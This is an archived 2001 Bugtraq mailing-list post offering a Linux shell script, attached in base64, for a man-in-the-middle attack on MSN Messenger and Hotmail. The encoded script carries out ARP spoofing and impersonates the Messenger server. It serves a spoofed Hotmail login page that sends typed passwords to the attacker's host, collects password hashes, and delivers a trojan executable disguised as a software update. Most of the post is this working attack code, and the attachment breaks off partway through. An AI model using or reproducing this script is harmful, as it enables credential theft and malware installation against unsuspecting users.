 | ||||||
| << Previous | INDEX | Search | src | Set bookmark | Go to bookmark | Next >> |
| ||||||
| |||||||||||||||||||||
Date: Sun, 15 Jul 2001 22:33:01 -0000 From: gregory duchemin <c3rb3r@hotmail.com> To: BUGTRAQ@securityfocus.com Subject: Messenger/hotmail MITM exploit ------=_NextPart_000_6832_6b77_2de Content-Type: text/plain; format=flowed hello, this a little sploit i wrote for Linux to test a man in the middle attack against Messenger/Hotmail. A kind of swiss army knife that: */ use the messenger scrambler bug to get passwords hashes */ spoof hotmail site to retrieve plaintext passwords (since protocol is not enciphered) when users open their hotmail account directly from messenger. */ remotely crash the client (i did not yet identify where exactly live the bug) */ upload a malicious program of your choice as an update. Since it was not signed by microsoft, messenger will complain about it but however will ask the user if he wishes to open it anyway. Guess what should be a typical user behavior ? ;) this script need the useful arptool from Cristiano Lincoln Mattos and our favorite web server (for hotmail spoofing and fake messenger update) use it for educationnal purpose only. cheers, Gregory Duchemin _________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. ------=_NextPart_000_6832_6b77_2de Content-Type: application/octet-stream; name="sneaky2.sh" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="sneaky2.sh" IyEvYmluL3NoCgojCiMgICAgICAgICAgLy8KIyAgICAgICAgIC8vIG5lYWt5 LnNoIAojICAgICAgICAgXFwKIyAgICAgICAgICBcXCB3aXNzIGFybXkga25p ZmUgZm9yIEhvdG1haWwvTWVzc2VuZ2VyCiMgICAgICAgICAgLy8gCiMgICAg ICAgICAvLwojCiMKIyAiU3Bvb2ZpbmcvYnJ1dGUgZm9yY2UvbWlzY29uY2Vw dGlvbi91bmV4cGVjdGVkIGlucHV0IENsYXNzIEF0dGFjayIKIwojIAojCiMg QVVUSE9SOiBHcmVnb3J5IER1Y2hlbWluICggQWthIGMzcmIzciApCiMKIyBD T01QQU5ZOiBORVVST0NPTSBDQU5BREEKIyAgICAgICAgICAgMTAwMSBiZCBN YWlzb25uZXV2ZSBPdWVzdCwgc3VpdGUgMjAwCiMgICAgICAgICAgIEgzQSAz QzggTW9udHJlYWwgKFF1ZWJlYykgQ0FOQURBCiMgICAgICAgICAgIGdkbkBu ZXVyb2NvbS5jb20KIyAgICAgICAgICAgNTE0IDkwOCA2ODAwCiMgICAgICAg ICAgIGh0dHA6Ly93d3cuc2VjdXJpdGUtaW50ZXJuZXQuY29tCiMKIyBEQVRF OiBKYW51YXJ5IDIwMDEKIwojIFBVUlBPU0U6IFdpbGwgc3Bvb2YgSG90bWFp bC9tZXNzZW5nZXIgc2VydmVyIHRvIHJlY292ZXIgdXNlciAKIyBob3RtYWls L3Bhc3N3b3JkLCBjcmFzaCBtZXNzZW5nZXIgY2xpZW50LCByZW1vdGVseSBp bmplY3QgYW5kIAojIGV4ZWN1dGUgbWFsaWNpb3VzIGV4ZSBvbiB0aGUgdmlj dGltIGhvc3QuCiMKIyBOT1RFOiBVIHdpbGwgaGF2ZSB0byBzZW5kIGFycCBy ZXNwb25zZXMgYnkgYnJvYWRjYXN0aW5nIHlvdXIgTUFDL0dBVEVXQVkgCiMg dG8gdGhlIGxpbWl0ZWQgYnJvYWRjYXN0IGFkZHJlc3MvSVAgQnJvYWRjYXN0 ICAgCiMgb3RoZXJ3aXNlIHUgY2FuIHN0aWxsIHRyeSBpdCBvbiB5b3VyIG93 biBnYXRld2F5IG9yIGZyb20geW91ciBwcm92aWRlciA7KQojIEFzIGEgbGFz dCByZXNvcnQsIHUgY2FuIHRlbXBvcmFsaWx5IG1vZGlmeSB5b3VyIEROUyBl bnRyeSBmb3IgCiMgbWVzc2VuZ2VyIHNlcnZlcnMuCiMKIyBSRVFVSVJFRDog VGhpcyBzcGxvaXQgbmVlZHMgYW4gImFycHRvb2wiIGxpa2Ugc29mdHdhcmUg YW5kIGEgbG9jYWwgd3d3IHNlcnZlciB0byB3b3JrIHByb3Blcmx5LgojICAg ICAgICAgID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09CgoKIyMjIyMjIyMjIyMjIyMj IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMKIyBUSElTIFNDUklQ VCBJUyBKVVNUIEEgUFJPT0YgT0YgQ09OQ0VQVCBBTkQgU0hPVUxEIE5PVCBC RSBVU0VEIEZPUiBBTlkgSUxMRUdBTCBBQ1RJVklUWSAKIwojIyMjIyMjIyMj IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKCiAKZXhwb3J0 IGRlbGF5PTEwMDAwMAoKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj IyMjIyMKIyBUaGluZ3MgdG8gYmUgY29uZmlndXJlZCBmaXJzdAojIyMjIyMj IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwoKIyBJUCBhZGRyZXNzIG9m IG1lc3NlbmdlciBzZXJ2ZXIgdG8gc3Bvb2YKIyBJdCBjaGFuZ2UgZnJvbSBj bGllbnQgdG8gY2xpZW50LCBjaGVjayBpdCBieSBzbmlmZmluZyBvciB1IGNh biBhbHdheXMgCiMgYXNzaWduIGFzIG1hbnkgdmlydHVhbCBpcCBhcyB0aGVy ZSBhcmUgbWVzc2VuZ2VyIHNlcnZlciBJUC4gCgpleHBvcnQgbWVzc2VuZ2Vy PSI2NC40LjEzLjU2IgoKIyBIVFRQIGRvY3VtZW50IHJvb3QKZXhwb3J0IGNn aXJvb3Q9Ii91c3IvbG9jYWwvYXBhY2hlL2NnaS1iaW4vIgpleHBvcnQgaHR0 cHJvb3Q9Ii91c3IvbG9jYWwvYXBhY2hlL2h0ZG9jcy8iCgojIE1hbGljaW91 cyBleGUgbG9jYXRpb24KZXhwb3J0IG1hbGljaW91c19wYXRoPSIvdG1wLyIK ZXhwb3J0IG1hbGljaW91cz0ibW1zc2V0dXAuZXhlIgoKCiMgQWNjZXNzIFVS SSA6IHN0dXBpZCBnYXJiYWdlIHRvIGhpZGUgdGhlIHJlYWwgdXJsCmV4cG9y dCByZWxvZ2luPSJsb2dpbmlkPTEyMUVBQUFBRkJCREMyNzM5MTIxK0Nvb0tp ZT0xMjEyMTk4QUZFRENERkZGK1RpbWVvZnRoZURBWT0yMzEyMTIrUEFTUz0r TE9HSU49K0JJRy1Ccm90aGVyIgoKIyBNZXNzZW5nZXIgUE9SVApleHBvcnQg UE9SVD0xODYzCgojIHJlYWwgSVAgb2Ygb3VyIGZha2UgaG90bWFpbCBzZXJ2 ZXIsIHRoaXMgaG9zdCBpcApleHBvcnQgTVlJUD0iMTkyLjE2OC4xMC4xNyIK CiMgbnVtYmVyIG9mIG5vbiByZWFkIG1lc3NhZ2VzLAojIG5lZWQgYXQgbGVh c3QgMSB0byBzdGltdWxhdGUgcmVxdWVzdHMgZnJvbSB0aGUgY2xpZW50IApl eHBvcnQgbnJtc2c9IjEwIgoKI251bWJlciBvZiBub24gcmVhZCBmb2xkZXJz ICAKZXhwb3J0IG5yZmxkPSIwIgoKI3BhdGgvZmlsZW5hbWUgd2hlcmUgdG8g c3RvcmUgaG90bWFpbCBwYXNzd29yZApleHBvcnQgUEFTU1dPUkRfSEVSRT0i L3RtcC9ob3RtYWlsLXBhc3MiCgojcGF0aCB0byByZWFjaCB5b3VyIGFycCBz cG9vZmVyL2Zsb29kZXIKZXhwb3J0IEFSUD0iYXJwdG9vbCIKCiMjIyMjIyMj IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIEVuZCBvZiBj b25maWd1cmF0aW9uIG9wdGlvbnMKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj IyMjIyMjIyMjIyMjIyMjIyMjCgoKaGFuZGwzcigpCnsKZWNobwplY2hvICJK b2IgZmluaXNoZWQsIGhvcGUgZXZlcnl0aGluZyBpcyBvay4uLi4iCmVjaG8g InNlZSAuL2xvZyBmb3IgZGV0YWlscy4iCmVjaG8KaHRtbF9jbGVhbmVyCnN5 bmMKa2lsbGFsbCAiJEFSUCIKZXhpdAp9CgoKdXNhZ2UoKQp7CmVjaG8KZWNo byAtZSAiVXNhZ2U6ICQwIFtNT0RFXSBcbiIKZWNobwplY2hvICJNT0RFOiAg IDEgLyAgSG90bWFpbCB3ZWIgc3Bvb2YgZm9yIGNsZWFyIHBhc3N3b3JkIHJl Y292ZXJ5LiIKZWNobyAiICAgICAgICAyIC8gIEhvdG1haWwgd2Vha2VubmVk IE1ENSBwYXNzd29yZCBIYXNoIHJlY292ZXJ5IGZvciBicnV0ZWZvcmNlLiIK ZWNobyAiICAgICAgICAzIC8gIE1lc3NlbmdlciBSZW1vdGUgQ3JBc2guIgpl Y2hvICIgICAgICAgIDQgLyAgUmVtb3RlIGluamVjdGlvbiBvZiBtYWxpY2lv dXMgZXhlLiIKZWNobwplY2hvCgplY2hvICJOT1RFOiBEb24ndCBmb3JnZXQg dG8gY3VzdG9taXplIHNldHRpbmdzIGluIHRoZSBzY3JpcHQgKHRoZSBmaXJz dCBsaW5lcykuIgplY2hvICJOT1RFMjogVGhpcyBwcm9nZ3kgbmVlZHMgYSBs b2NhbCB3d3cgYW5kIGFycHRvb2wgb3Igc29tZXRoaW5nIHNpbWlsYXIgdG8g YnJvYWRjYXN0IGFycCByZXNwb25zZSB0byB5b3VyIExBTi4gSSBkb24ndCBo YXZlIGx1c3QgdG8gcmVpbnZlbnRlIHRoZSB3aGVlbC4iCmVjaG8gIk5PVEUz OiBVU0UgSVQgT05MWSBGT1IgRURVQ0FUSU9OTkFMIFBVUlBPU0UsIE5PVEhJ TkcgSUxMRUdBTCBQTEVBU0UgISIKZWNobwplY2hvICJERVRBSUxTOiBhdHRh Y2sgMS8gd2lsbCB0cm9qYW5pemUgdmljdGltIHRvIGdldCBiYWNrIGEgcGxh aW4gcGFzc3dvcmQuIgplY2hvICIgICAgICAgICBhdHRhY2sgMi8gd2lsbCBh c2sgZm9yIHdlYWsgbWQ1IGhhc2guIgplY2hvICIgICAgICAgICBhdHRhY2sg My8gd2lsbCBjcmFzaCB0aGUgY2xpZW50LihleHBsb2l0YWJsZSBiLm92ZXJm bG93ID8pIgplY2hvICIgICAgICAgICBhdHRhY2sgNC8gd2lsbCB1cGxvYWQg YSBmYWtlIHVwZGF0ZSwgbmFpdmVseSBpbnN0YWxsZWQuIgplY2hvCmVjaG8g ImhhdmUgYSBuaWNlIGRheSIKZWNobyAiICAgICAgICAgICAgICAgICAgIEdy ZWdvcnkgRHVjaGVtaW4gKCBjM3JiM3JAaG90bWFpbC5jb20gKSIKZWNobyAK ZWNobwp9IAoKaWYgWyAkIyAtbHQgMSBdOyB0aGVuCnVzYWdlCmV4aXQKZmkK CmV4cG9ydCBNT0RFPSIkMSIKCmlmIFsgJE1PREUgLWd0IDQgXTsgdGhlbgp1 c2FnZQpleGl0CmZpCgojIElQX2ZvcndhcmRpbmcgc2hvdWxkIGJlIHNldCB0 byBhdm9pZCBkZXRlY3Rpb24vc3VzcGljaW9uLgoKc3lzY3RsIC13IG5ldC5p cHY0LmNvbmYuYWxsLmZvcndhcmRpbmc9MQoKaWYgWyAkPyAtZXEgMSBdOyB0 aGVuCnVzYWdlCmVjaG8KZWNobwplY2hvICJXYXJuaW5nOiBVbmFibGUgdG8g c2V0IGlwX2ZvcndhcmRpbmcgKG5vdCBhIExpbnV4ID8pLCBwbGVhc2UgY29u ZmlndXJlIHRoZSBzY3JpcHQuIgplY2hvCmVjaG8KZmkKCiMgYXV0b21hdGlj IGNvbmZpZ3VyYXRpb24gb2YgYXJwIGJyb2FkY2FzdGluZy9zcG9vZmluZyBv dmVyIHRoZSBMYW4uCmVjaG8KZWNobyAtbiAiQVJQIGJyb2FkY2FzdCA6ICIK JEFSUCAtYyAxIC1zICQoaWZjb25maWcgLWEgfCBncmVwICJIV2FkZHIiIHwg YXdrICd7cHJpbnQgJDV9JyB8IGVncmVwIC1uICdeWzAtOV0rJyB8IGVncmVw ICdeMTonfCBzZWQgJzEsJHMvXjE6Ly8nKSBGRjpGRjpGRjpGRjpGRjpGRiAk KG5ldHN0YXQgLXJuIHwgZ3JlcCAiVUciIHwgYXdrICd7cHJpbnQgJDJ9JyAp ICQoaWZjb25maWcgLWEgfCBncmVwICJpbmV0IiB8IGF3ayAtRiAnOicgJ3tw cmludCAkM30nIHwgYXdrICd7cHJpbnQgJDF9J3wgZWdyZXAgLW4gJ15bMC05 XSsnIHwgZWdyZXAgJ14xOicgfCBhd2sgLUYgJzonICd7cHJpbnQgJDJ9Jykg MiAgMj4mMSA+IC9kZXYvbnVsbCAmCgppZiBbICQ/IC1lcSAxIF07IHRoZW4K dXNhZ2UKZWNobwplY2hvCmVjaG8gIkVycm9yOiBJIG5lZWQgc29tZXRoaW5n IGxpa2UgYXJwdG9vbCB0byBkbyB0aGUgam9iLi4gZXZlbiBpZiB1IGhhdmUg c29tZXRoaW5nIGVsc2UgYnV0IHNpbWlsYXIsIHBsZWFzZSBkbyB0aGUgYXBw cm9wcmlhdGUgbW9kaWZpY2F0aW9ucyBpbiB0aGUgc2NyaXB0LiIKZWNobwpl Y2hvCmV4aXQKZmkKZWNobyAiT0siCmV4cG9ydCBUSUQ9JCEKCmlmIFsgJE1P REUgPSAiMiIgXTsgdGhlbgplY2hvCmVjaG8gIldlYWsgTUQ1IGhhc2hlcyB3 aWxsIGJlIHN0b3JlZCBpbiAvdG1wL21kNS1wYXNzd29yZCIKZWNobwplY2hv IApmaQoKaWYgWyAkTU9ERSA9ICIxIiBdOyB0aGVuIAplY2hvCmVjaG8gIkNs ZWFyIEhvdG1haWwvTVNOIHBhc3N3b3JkcyB3aWxsIGJlIHN0b3JlZCBpbiAv dG1wL2NsZWFyLXBhc3N3b3JkIgplY2hvCmVjaG8KZmkKCmlmIFsgJE1PREUg PSAiMyIgXTsgdGhlbiAKZWNobwplY2hvICJSZW1vdGUgY2xpZW50IG1heSBz dWRkZW5seSBkaWUuLi4uIgplY2hvCmVjaG8KZmkKCgppZiBbICRNT0RFID0g IjQiIF07IHRoZW4KaWYgWyAhIC1mICRtYWxpY2lvdXNfcGF0aCIvJG1hbGlj aW91cyIgXTsgdGhlbgplY2hvCmVjaG8gIlBsZWFzZSBmaXJzdCBkZWZpbmUg dGhlIHRyb2phbiAoaW4gdGhlIGNvbmZpZ3VyYXRpb24gc2VjdGlvbikiCmVj aG8KZWNobwpleGl0IDAKZmkKZWNobwplY2hvICJSZW1vdGUgSW5qZWN0aW9u IG9mIGp1bmt5IGRhdGEuIgplY2hvCmVjaG8KZmkKCnRyYXAgaGFuZGwzciBT SUdJTlQKCmZ1bmN0aW9uIGh0bWxfYnVpbGRlcigpCnsKZWNobyAtbiAtZSAi IyEvYmluL3NoXG4KY2F0IDw8IF9fTVlHSUZUX18KQ29udGVudC10eXBlOnRl eHQvaHRtbFxuCjxodG1sPgo8IS0tCkpVU1QgQSBQUk9PRiBPRiBDT05DRVBU LCBVU0UgSVQgRk9SIEVEVUNBVElPTk5BTCBQVVJQT1NFUwotLT4KPGJvZHk+ CjxkaXYgYWxpZ249bGVmdD4KPGRpdiBpZD1sYXllcjEgc3R5bGU9XCJ3aWR0 aDoxMDAlOyBoZWlnaHQ6MTAwJTsgcG9zaXRpb246YWJzb2x1dGU7IGxlZnQ6 MHB4OyB0b3A6MHB4OyB6LWluZGV4OjA7XCI+CjxkaXYgaWQ9bGF5ZXIyIHN0 eWxlPVwicG9zaXRpb246YWJzb2x1dGU7IGxlZnQ6NDA7IHRvcDowOyB6LWlu ZGV4OjA7XCI+IAo8Zm9ybSBuYW1lPVwicGFzc3dvcmRmb3JtXCIgIGFjdGlv bj1cImh0dHA6Ly8kTVlJUC9yZXNwb25zZS5odG1sXCIgbWV0aG9kPVwiR0VU XCIgQVVUT0NPTVBMRVRFPU9GRiA+Cjx0YWJsZSBjZWxscGFkZGluZz0wIGNl bGxzcGFjaW5nPTAgYm9yZGVyPTAgd2lkdGg9NTkwPgo8dHI+Cjx0ZCBjb2xz cGFuPTI+Cjx0YWJsZSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgYm9y ZGVyPTAgd2lkdGg9MTAwJT48dHI+PHRkPgo8YSBocmVmPVwiamF2YXNjcmlw dDp2b2lkKClcIiB0YXJnZXQ9X3RvcD48aW1nIHNyYz1cImh0dHA6Ly9jM3Ji ZXIubXVsdGltYW5pYS5jb20vaG9yc2VtYWlsLmdpZlwiIHdpZHRoPTQ2OCBo ZWlnaHQ9NjAgYm9yZGVyPTAgYWx0PSIiPjwvYT4KPC90ZD4KPHRkIGFsaWdu PUNFTlRFUiBub3dyYXA+CjxpbWcgc3JjPVwiaHR0cDovL2MzcmJlci5tdWx0 aW1hbmlhLmNvbS9wYXNzLmdpZlwiIHdpZHRoPTE0MCBoZWlnaHQ9NDQgYm9y ZGVyPTAgYWx0PVwiRmluZCBPdXQgTW9yZSBBYm91dCBQYXNzcG9ydFwiPjxi cj4KPGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoKSB0YXJnZXQ9X3RvcD48Zm9u dCBjbGFzcz1mIHNpemU9Mj5IZWxwPC9mb250PjwvYT48YnI+CjwvdGQ+PC90 cj48L3RhYmxlPgo8L3RkPgo8L3RyPjx0cj4KPHRkIGJnY29sb3I9I2NjY2M5 OT48Zm9udCBjbGFzcz1mIHNpemU9ND48Yj5QbGVhc2UgcmUtZW50ZXIgeW91 ciBwYXNzd29yZCBhdCB5b3VyIG93biByaXNrPC9iPjwvZm9udD48L3RkPgo8 dGQgdmFsaWduPXRvcD48dGFibGUgd2lkdGg9MTAwJSBib3JkZXI9MCBjZWxs c3BhY2luZz0wIGNlbGxwYWRkaW5nPTA+PHRyPjx0ZCBoZWlnaHQ9MSBiZ2Nv bG9yPSNjY2NjOTk+PC90ZD48L3RyPjwvdGFibGU+PC90ZD4KPC90cj4KPHRy Pjx0ZCBoZWlnaHQ9Nj48L3RkPjwvdHI+Cjx0ciB2YWxpZ249dG9wPgo8dGQ+ PGZvbnQgY2xhc3M9cz4KPC9mb250Pgo8L3RkPgo8dGQgcm93c3Bhbj00Pjxm b250IGNsYXNzPXM+CjwvZm9udD4KPC9mb250Pgo8L3RkPgo8L3RyPgo8dHI+ Cjx0ZD4KPGZvbnQgY2xhc3M9ZiBzaXplPTI+PGI+Jmx0OyIgPiAkY2dpcm9v dCIvJHJlbG9naW4iCmNhdCAvdG1wLy5tYWlsID4+ICRjZ2lyb290Ii8kcmVs b2dpbiIKZWNobyAtbiAtZSAiJmd0OzwvYj48L2ZvbnQ+CjxpbnB1dCB0eXBl PWhpZGRlbiBuYW1lPVwiZG9tYWluJklEY29va2llPTEyMzUxNTI2MTcyNUFC RkZDREVFRSZrZXktaWQ9JnBhc3N2YWx1ZT0mZG9tYWluLW5hbWU9XCIgdmFs dWU9aG90bWFpbC5jb20+Cjx0YWJsZSBjZWxscGFkZGluZz0wIGNlbGxzcGFj aW5nPTA+Cjx0cj4KPHRkIGhlaWdodD0zNSB2YWxpZ249bWlkZGxlPjxmb250 IGNsYXNzPXNiZD5QYXNzd29yZDwvZm9udD4mbmJzcDs8L3RkPgo8dGQ+PGlu cHV0IHR5cGU9cGFzc3dvcmQgbmFtZT1QQVNTV09SRCBzaXplPTE2IG1heGxl bmd0aD0xNj48L3RkPgo8dGQgd2lkdGg9MjIgdmFsaWduPVwibWlkZGxlXCIg YWxpZ249XCJjZW50ZXJcIj4mbmJzcDs8L3RkPgo8dGQ+PGlucHV0IHR5cGU9 XCJzdWJtaXRcIiBuYW1lPVwiZW50ZXJcIiB2YWx1ZT1cIlNpZ24gaW5cIj48 L3RkPgo8L3RyPgo8dHI+Cjx0ZD48L3RkPgo8dGQgY29sc3Bhbj1cIjJcIj48 Zm9udCBjbGFzcz1cImZcIiBzaXplPTI+PGI+PGEgaHJlZj1cImphdmFzY3Jp cHQ6dm9pZCgpXCIgdGFyZ2V0PVwiX3RvcFwiPkNoYW5nZQpVc2VyPC9hPjwv Yj48L2ZvbnQ+PC90ZD4KPC90cj4KPC90YWJsZT4KPC9mb3JtPgo8L3RhYmxl Pgo8dGFibGUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJvcmRlcj0w IHdpZHRoPTU5MD4KPHRyPgo8dGQ+Jm5ic3A7ICAKQzNyYjNyICZjb3B5OyAy MDAxIEhvdG1haWwvTWVzc2VuZ2VyL01TSUUgdnVsbmVyYWJpbGl0aWVzIHBy b29mIG9mIGNvbmNlcHQuIAo8YSBocmVmPVwiamF2YXNjcmlwdDp2b2lkKClc Ij5IMHJzZW1haWwgVEVSTVMgT0YgVVNFIGFuZCBOT1RJQ0VTPC9hPiAmbmJz cDsgCjxhIGhyZWY9XCJqYXZhc2NyaXB0OnZvaWQoKVwiPjxmb250IGNsYXNz PVwic1wiPnVudHJ1c3RlZCBQcml2YWN5IFN0YXRlbWVudAo8L2ZvbnQ+PC9h Pgo8L3RkPgo8L3RyPgo8L3RhYmxlPgo8L2Rpdj4KPHAgYWxpZ249Y2VudGVy Pgo8aW1nIHNyYz1cImh0dHA6Ly9jM3JiZXIubXVsdGltYW5pYS5jb20vaG90 bWFpbC5qcGdcIiB3aWR0aD0xMjgwIGhlaWdodD05NTAgYm9yZGVyPTAgPgo8 L2Rpdj4KPC9kaXY+CjwvYm9keT4KPC9odG1sPiAKXG5fX01ZR0lGVF9fXG5c biI+PiAkY2dpcm9vdCIvJHJlbG9naW4iCgpjaG1vZCBhK3ggJGNnaXJvb3Qi LyRyZWxvZ2luIgojZWNobyAiVGhpcyBpcyB0aGUgZmFsc2UgdXBkYXRlIGZv ciBtZXNzZW5nZXIuIiAgPiAkaHR0cHJvb3QibW1zc2V0dXAuZXhlIgplY2hv ICI8aHRtbD48YnI+PGJyPjxicj48Y2VudGVyPlRoYW54IGZvciB5b3VyIHBh cnRpY2lwYXRpb24uPC9jZW50ZXI+PGJyPjxicj5DM3JiM3IuPC9odG1sPiIg PiAkaHR0cHJvb3QicmVzcG9uc2UuaHRtbCIKfQoKaHRtbF9jbGVhbmVyKCkK ewpybSAtZiAkY2dpcm9vdCIvJHJlbG9naW4iCm1rZGlyIC1wICRodHRwcm9v dCIkcmVsb2dpbiIKY2htb2QgYStyd3ggJGh0dHByb290IiRyZWxvZ2luIgpj cCAtZiAkbWFsaWNpb3VzICAkaHR0cHJvb3QiJHJlbG9naW4iIi9tbXNzZXR1 cC5leGUiCnJtIC1mICRodHRwcm9vdCJyZXNwb25zZS5odG1sIgp9CgojSVAg QUxJQVMgd2l0aCBtZXNzZW5nZXIgSVAKZWNobwplY2hvIC1uICJJbnRlcmZh Y2UgY29uZmlndXJhdGlvbiA6ICIKaWZjb25maWcgZXRoMDowIGluZXQgJG1l c3NlbmdlcgplY2hvICJPSyIKCgplY2hvCmVjaG8gIldhaXRpbmcgZm9yIGEg Y2xpZW50IG4wdy4uLi4iCmVjaG8KCiMgdGhpbmdzIGFyZSBnZXR0aW5nIHNl cmlvdXMgbm93LCB0aGlzIGlzIHRoZSBtZXNzZW5nZXIgYXV0b21hdGU6CmV4 cG9ydCBmbGFnPSIwIgpjYXQgL2Rldi9udWxsID4gLi90cmFjZQoKCndoaWxl IHRydWUKZG8Kc3luYwooCnVzbGVlcCAgJGRlbGF5IAoKd2hpbGUgdHJ1ZQpk bwoKCmV4cG9ydCBwYXJzZWQ9IiQoIGVncmVwIC1lICcoVkVSIFswLTldezEs fSAoW0EtWjAtOV0pezMsfSl8T1VUfChJTkYgWzAtOV17MSx9KXwoVVNSIFsw LTldezEsfSl8KFNZTiBbMC05XXsxLH0gWzAtOV17MSx9KXwoQ1ZSIFswLTld ezEsfSl8KENIRyBbMC05XXsxLH0pfChVUkwgWzAtOV17MSx9KScgLi9sb2cp IgoKaWYgWyAiJHBhcnNlZCIgIT0gIiIgXTsgdGhlbgpzeW5jCmV4cG9ydCBy ZXF1ZXN0PSQoZWNobyAkcGFyc2VkIHwgYXdrICd7cHJpbnQgJDF9JykKZXhw b3J0IG51bT0kKGVjaG8gJHBhcnNlZCB8IGF3ayAne3ByaW50ICQyfScpCgpj YXNlICIkcmVxdWVzdCIgaW4KCgpWRVIpCnVzbGVlcCAkZGVsYXkgCmNhdCAu L2xvZyB8IHNlZCAtZSAicy9WRVIvdmVyLyIgPiAuL2xvZwplY2hvIC1lICJW RVIgJG51bSBNU05QNSBNU05QNCBDVlIwXHIiIApzeW5jCnVzbGVlcCAkZGVs YXkgCjs7CgpJTkYpCgpjYXQgLi9sb2cgfCBzZWQgLWUgInMvSU5GL2luZi8i ID4gLi9sb2cKZXhwb3J0IG5ldz0kKGVjaG8gJG51bSB8IHNlZCAtZSAncy8u JC8gLycpCmVjaG8gLWUgIklORiAkbmV3IiJNRDVcciIgCnVzbGVlcCAkZGVs YXkgCjs7CgpVU1IpCiAgICAgIApjYXQgLi9sb2cgfCBzZWQgLWUgInMvVVNS L3Vzci8iID4gLi9sb2cKZXhwb3J0IHR0eXBlPSQoZWNobyAkcGFyc2VkIHwg YXdrICd7cHJpbnQgJDR9JykKaWYgWyAiJHR0eXBlIiA9ICJJIiBdOyB0aGVu CmV4cG9ydCBlbWFpbD0kKGVjaG8gJHBhcnNlZCB8IHNlZCAtZSAncy8uJC8g LycgfCBhd2sgJ3twcmludCAkNX0nKQplY2hvICIkZW1haWwiID4gL3RtcC8u bWFpbApodG1sX2J1aWxkZXIKcm0gLWYgL3RtcC8ubWFpbAppZiBbICAhICRN T0RFID0gIjIiIF07IHRoZW4KZWNobyAtZSAiVVNSICRudW0gTUQ1IFMgIiQo ZGF0ZSAiKyVzIikiXHIiCmVsc2UKZWNobyAtZSAiVVNSICRudW0gTUQ1IFMg XHIiCmZpCmVsc2UKZXhwb3J0IHBhc3N3b3JkPSQoZWNobyAkcGFyc2VkIHwg c2VkIC1lICdzLy4kLyAvJyB8IGF3ayAne3ByaW50ICQ1fScpCmlmIFsgJE1P REUgPSAiMiIgXTsgdGhlbgplY2hvIC1lICI5MTAgJG51bSBcciIgCnVzbGVl cCAkZGVsYXkgCmVjaG8gLWUgIlxuXG5Ib3RtYWlsIHBhc3N3b3JkIChNRDUg aGFzaCkgZm9yICRlbWFpbCBpcyAkcGFzc3dvcmRcblxuIiA+PiAvdG1wL21k NS1wYXNzd29yZApzeW5jCmV4aXQgCmZpCmVjaG8gLWUgIlVTUiAkbnVtIE9L ICRlbWFpbCAkZW1haWxcciIgCmZpCnVzbGVlcCAkZGVsYXkKOzsKCgpTWU4p CgpleHBvcnQgc3luPSQoZWNobyAkcGFyc2VkIHwgc2VkIC1lICdzLy4kLyAv JyB8IGF3ayAne3ByaW50ICQzfScpCmNhdCAuL2xvZyB8IHNlZCAtZSAicy9T WU4vc3luLyIgPiAuL2xvZwpleHBvcnQgdGltZT0kKGRhdGUgIislcyIpIAoK ZWNobyAtZSAiTVNHIEhvdG1haWwgSG90bWFpbCAzMzFcclxuTUlNRS1WZXJz aW9cCm46IDEuMFxyXG5Db250ZW50LVR5cGU6IHRleHQveC1tc21zZ3Nwcm9c CmZpbGU7IGNoYXJzZXQ9VVRGLThcclxuTG9naW5UaW1lOiAkdGltZVwKXHJc bkVtYWlsRW5hYmxlZDogMVxyXG5NZW1iZXJJZEhpZ2g6IDg0XAoyMjRcclxu TWVtYmVySWRMb3c6IDExMTQzNTc4NjhcclxubGFuZ19wcmVcCmZlcmVuY2U6 IDEwMzNcclxucHJlZmVycmVkRW1haWw6IFxyXG5jb3VudFwKcnk6IENBXHJc blBvc3RhbENvZGU6IFxyXG5HZW5kZXI6IE1cclxuQWdlOlwKIDYwXHJcbnNp ZDogNTA3XHJcbmt2OiAyXHJcbk1TUEF1dGg6IFwKMkFBQUFBQUFcCkFEMVpi aUxYVzNwWjEqYWc0cXFzZ3JRWUJvMU0zdkFmVTY5NzFhXAp0M2VyTGNCR3pR JCRcclxuXHIiCnVzbGVlcCAkZGVsYXkgCmVjaG8gLWUgIlNZTiAkbnVtICRz eW5cciIKdXNsZWVwICRkZWxheSAKc3luYyAKOzsKCgpDVlIpCgpleHBvcnQg dmVyc2lvbj0kKGVjaG8gJHBhcnNlZCB8IGF3ayAne3ByaW50ICQ4fScpCmNh dCAuL2xvZyB8IHNlZCAtZSAicy9DVlIvY3ZyLyIgPiAuL2xvZwogICAgICAK aWYgWyAiJGZsYWciID0gIjAiIF07IHRoZW4KaWYgWyAkTU9ERSA9ICI0IiBd OyB0aGVuCmVjaG8gLWUgIkNWUiAkbnVtIDEyLjY2Ni42NjYgMTIuNjY2LjY2 NiA5LjAuMDg2MyBoXAp0dHA6Ly8kTVlJUFwKLyRyZWxvZ2luIiIvJG1hbGlj aW91cyBodHRwOi8vJE1ZSVAvJHJlbG9naW4iIi8kbWFsaWNpb3VzXApcciIK ZWxzZSAgICAgIAplY2hvIC1lICJDVlIgJG51bSAkdmVyc2lvbiAkdmVyc2lv biAxLjAuMDg2MyBoXAp0dHA6Ly8kTVlJUC9cCi9tbXNzZXR1cC5leGUgaHR0 cDovLyRNWUlQXAovXHIiICAgICAgCmZpCmV4cG9ydCBmbGFnPSIxIgplbHNl IAppZiBbICIkZmxhZyIgPSAiMSIgXTsgdGhlbgplY2hvIC1lICIkY2hnIgpl Y2hvIC1lICJNU0cgSG90bWFpbCBIb3RtYWlsIDIyM1xyXG5NSU1FLVZlcnNp 